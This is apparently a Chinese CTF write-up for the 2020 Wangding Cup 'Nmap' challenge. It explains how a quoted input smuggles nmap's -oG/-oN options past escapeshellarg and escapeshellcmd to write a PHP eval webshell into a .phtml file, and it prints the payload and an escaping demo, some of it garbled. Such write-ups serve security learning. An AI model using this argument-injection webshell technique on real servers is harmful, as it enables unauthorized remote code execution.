• [网鼎杯 2020 朱雀组]Nmap wp


    深层次剖析!!!

    我的博客,欢迎来访!

    前言

    [2020年朱雀杯][BUUCTF 2018]Online Tool的题目似乎是一样的,不同在于朱雀杯没有给出源码,主要考察的都是nmap一句话木马写入。本篇文章细致讲解输入时escapeshellargescapeshellcmd 两个函数所进行的步骤。

    知识巩固

    关于nmap的输出命令:
    翻阅nmap中文手册,发现主要只有四种:

    • -oN < filespec > (标准输出)
    • -oX < filespec> (XML输出)
    • -oS < filespec> (ScRipT KIdd|3 oUTpuT)
    • -oG < filespec> (Grep输出)

    其中主要就是 -oN-oG 为主,我们看一下他们的区别:(本地测试一下)
    在这里插入图片描述
    不难发现两件事:

    1. 我们可以构造任意文件内容
    2. 文件的名字,包括后缀也是我们自己定义

    接下来我们来研究一个有意思的东西:
    如果使用nmap写入一句话木马不用引号包起来会怎么样:在这里插入图片描述
    直接输入的话是无法生成文件的,必须给引号包起来才能正确执行命令,除此之外还有什么办法能执行呢。

    !! \转义 !!
    !! \转义 !!
    !! \转义 !!

    在这里插入图片描述
    把这些会引起歧义的符号全部转义就能执行命令,并且将木马生成在php文件中。这将对绕过 escapeshellarg 和 escapeshellcmd 很有用

    解题

    进入页面,先输入127.0.0.1看一下会怎么样
    在这里插入图片描述

    发现结果和我们本地非常相似:
    在这里插入图片描述
    再尝试一下命令:

    127.0.0.1 | ls

    在这里插入图片描述

    可以看到本地是可以执行的,那我们试一下题目环境
    在这里插入图片描述
    发现被转义了


    只能另辟蹊径,我们直接试着写入一句话木马

    ’ -oN 1.php

    在这里插入图片描述
    结果发现回显是Hacker,可能把php过滤了

    过滤php怎么办

    1.在一句话木马中的解决办法


    利用短标签:

    后缀为php的解决办法


    后缀改为phtml,也会解析成php文件

    接下来再试着写入一句话木马:

    -oN 1.phtml

    在这里插入图片描述
    回显是这个,但是我们访问1.phtml,发现并没有生成,是函数escapeshellargescapeshellcmd在作怪。

    如何绕过escapeshellargescapeshellcmd

    要了解如何绕过,那就得先了解一下这两个函数的分别作用
    在这里插入图片描述

    在这里插入图片描述
    看了描述之后再看一下这两个函数的例子:

    
    $a = "'  -oG test.phtml '";
    echo "escapeshellarg:".escapeshellarg($a)."
    "
    ; $a = escapeshellarg($a); echo "escapeshellcmd:".escapeshellcmd($a)."
    "
    ;
    • 1
    • 2
    • 3
    • 4
    • 5

    输出

    escapeshellarg:‘’\‘’ -oG test.phtml’\‘’’
    escapeshellcmd:‘’\\‘’<\?= @eval$REQUEST\[1\]\;\?\> -oG test.phtml’\\‘’’

    如果我们把两个函数处理过的字符串直接用nmap尝试写入文件能成功吗
    在这里插入图片描述
    很显然,答案是可行的如此一来便绕过了escapeshellargescapeshellcmd

    接下来就是连接木马巴拉巴拉
    在这里插入图片描述

    坑点

    exp:

    -oG test.phtml ’

    这个引号< 之间要记得留空格,否则 < 会被转义,一句话木马就失效了

    尾言

    本来其实是不知道对 [ ] ? 等符号也进行转义之后因为 nmap 写入文件恰好需要那些转义才刚好写进去。自己研究了这么久才意外发现也是很惊喜,之前对namp不甚了解的时候做过[2018BUUCTF]类似的题型,没有完全了解,今天查阅很多资料+实践才发现这些奥秘的,希望对你也有帮助。

    参考资料

    https://paper.seebug.org/164/ => PHP escapeshellarg()+escapeshellcmd() 之殇

  • 相关阅读:
    大聪明教你学Java | Mysql 为何会引起锁表及其解决办法
    odoo 开发入门教程系列-计算的字段和变更(Computed Fields And Onchanges)
    了解冒泡排序
    java栈和自定义栈
    django中F()和Q()的用法
    【Try to Hack】IDS入侵检测系统
    nginx异常重启
    3.zigbee开发,OSAL原理及使用(类似操作系统)
    RISC-V特权架构 - 机器模式下的异常处理
    python socket网络编程(传输一个图片数据)
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126494947